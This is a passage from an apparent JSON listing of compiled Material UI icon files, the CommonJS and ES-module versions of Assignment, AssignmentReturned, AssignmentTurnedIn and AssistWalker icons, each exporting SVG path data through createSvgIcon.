    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5v14h14V5zm11 9h-4v3l-5-5 5-5v3h4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 7-5 5 5 5v-3h4v-4h-4zm7-4h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64S3 4.72 3 5v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}, \"1\")], 'AssignmentReturnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentReturned.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0 15-5-5h3V9h4v4h3z\"\n}), 'AssignmentReturned');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentReturned.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0 15-5-5h3V9h4v4h3z\"\n}), 'AssignmentReturned');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentReturnedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12h-3V8h-4v4H7l5 5zm2-9h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64-.1.23-.16.49-.16.77v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}), 'AssignmentReturnedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentReturnedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12h-3V8h-4v4H7l5 5zm2-9h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64-.1.23-.16.49-.16.77v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}), 'AssignmentReturnedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentReturnedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-.35 14.65L7 13h3V9h4v4h3l-4.65 4.65c-.19.19-.51.19-.7 0\"\n}), 'AssignmentReturnedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentReturnedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-.35 14.65L7 13h3V9h4v4h3l-4.65 4.65c-.19.19-.51.19-.7 0\"\n}), 'AssignmentReturnedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentReturnedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H3v18h18zm-9 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0 15-5-5h3V9h4v4h3z\"\n}), 'AssignmentReturnedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentReturnedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H3v18h18zm-9 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0 15-5-5h3V9h4v4h3z\"\n}), 'AssignmentReturnedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentReturnedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm5-7V8h4v4h3l-5 5-5-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12h-3V8h-4v4H7l5 5zm2-9h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64S3 4.72 3 5v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}, \"1\")], 'AssignmentReturnedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentReturnedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm5-7V8h4v4h3l-5 5-5-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12h-3V8h-4v4H7l5 5zm2-9h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64S3 4.72 3 5v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}, \"1\")], 'AssignmentReturnedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m1 14H8c-.55 0-1-.45-1-1s.45-1 1-1h5c.55 0 1 .45 1 1s-.45 1-1 1m3-4H8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1m0-4H8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'AssignmentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m1 14H8c-.55 0-1-.45-1-1s.45-1 1-1h5c.55 0 1 .45 1 1s-.45 1-1 1m3-4H8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1m0-4H8c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'AssignmentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H3v18h18zm-9 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m2 14H7v-2h7zm3-4H7v-2h10zm0-4H7V7h10z\"\n}), 'AssignmentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H3v18h18zm-9 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m2 14H7v-2h7zm3-4H7v-2h10zm0-4H7V7h10z\"\n}), 'AssignmentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentTurnedIn.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-2 14-4-4 1.41-1.41L10 14.17l6.59-6.59L18 9z\"\n}), 'AssignmentTurnedIn');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentTurnedIn.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-2 14-4-4 1.41-1.41L10 14.17l6.59-6.59L18 9z\"\n}), 'AssignmentTurnedIn');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentTurnedInOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 9-1.41-1.42L10 14.17l-2.59-2.58L6 13l4 4zm1-6h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64-.1.23-.16.49-.16.77v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}), 'AssignmentTurnedInOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentTurnedInOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 9-1.41-1.42L10 14.17l-2.59-2.58L6 13l4 4zm1-6h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64-.1.23-.16.49-.16.77v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}), 'AssignmentTurnedInOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentTurnedInRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9.29 16.29 6.7 13.7a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0L10 14.17l5.88-5.88c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41l-6.59 6.59c-.38.39-1.02.39-1.41 0\"\n}), 'AssignmentTurnedInRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentTurnedInRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M9.29 16.29 6.7 13.7a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0L10 14.17l5.88-5.88c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41l-6.59 6.59c-.38.39-1.02.39-1.41 0\"\n}), 'AssignmentTurnedInRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentTurnedInSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H3v18h18zm-9 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-2 14-4-4 1.41-1.41L10 14.17l6.59-6.59L18 9z\"\n}), 'AssignmentTurnedInSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentTurnedInSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3h-6.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H3v18h18zm-9 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-2 14-4-4 1.41-1.41L10 14.17l6.59-6.59L18 9z\"\n}), 'AssignmentTurnedInSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentTurnedInTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm2.41-7.41L10 14.17l6.59-6.59L18 9l-8 8-4-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 9-1.41-1.42L10 14.17l-2.59-2.58L6 13l4 4zm1-6h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64S3 4.72 3 5v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}, \"1\")], 'AssignmentTurnedInTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentTurnedInTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm2.41-7.41L10 14.17l6.59-6.59L18 9l-8 8-4-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 9-1.41-1.42L10 14.17l-2.59-2.58L6 13l4 4zm1-6h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64S3 4.72 3 5v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}, \"1\")], 'AssignmentTurnedInTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5v14h14V5zm9 12H7v-2h7zm3-4H7v-2h10zm0-4H7V7h10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 15h7v2H7zm0-4h10v2H7zm0-4h10v2H7zm12-4h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64S3 4.72 3 5v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}, \"1\")], 'AssignmentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssignmentTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5v14h14V5zm9 12H7v-2h7zm3-4H7v-2h10zm0-4H7V7h10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 15h7v2H7zm0-4h10v2H7zm0-4h10v2H7zm12-4h-4.18C14.4 1.84 13.3 1 12 1s-2.4.84-2.82 2H5c-.14 0-.27.01-.4.04-.39.08-.74.28-1.01.55-.18.18-.33.4-.43.64S3 4.72 3 5v14c0 .27.06.54.16.78s.25.45.43.64c.27.27.62.47 1.01.55.13.02.26.03.4.03h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7-.25c.41 0 .75.34.75.75s-.34.75-.75.75-.75-.34-.75-.75.34-.75.75-.75M19 19H5V5h14z\"\n}, \"1\")], 'AssignmentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistWalker.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12.5\",\n  cy: \"4.5\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.77 17.72-.64-6.37c-.07-.77-.72-1.35-1.49-1.35H16c-1.5-.02-2.86-.54-3.76-1.44l-2-1.98C10.08 6.42 9.62 6 8.83 6c-.51 0-1.02.2-1.41.59L4.08 9.91c-.53.68-.51 1.57-.21 2.13l1.43 2.8-3.15 4.05 1.57 1.24L7.4 15.4l-.17-1.36.77.71V20h2v-6.12l-2.12-2.12 2.36-2.36c.94.94 1.72 1.82 3.59 2.32L13 20h1.5l.41-3.5h3.18l.14 1.22c-.44.26-.73.74-.73 1.28 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.54-.29-1.02-.73-1.28M15.09 15l.41-3.5h2l.41 3.5z\"\n}, \"1\")], 'AssistWalker');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistWalker.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12.5\",\n  cy: \"4.5\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.77 17.72-.64-6.37c-.07-.77-.72-1.35-1.49-1.35H16c-1.5-.02-2.86-.54-3.76-1.44l-2-1.98C10.08 6.42 9.62 6 8.83 6c-.51 0-1.02.2-1.41.59L4.08 9.91c-.53.68-.51 1.57-.21 2.13l1.43 2.8-3.15 4.05 1.57 1.24L7.4 15.4l-.17-1.36.77.71V20h2v-6.12l-2.12-2.12 2.36-2.36c.94.94 1.72 1.82 3.59 2.32L13 20h1.5l.41-3.5h3.18l.14 1.22c-.44.26-.73.74-.73 1.28 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.54-.29-1.02-.73-1.28M15.09 15l.41-3.5h2l.41 3.5z\"\n}, \"1\")], 'AssistWalker');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistWalkerOutlined.js",
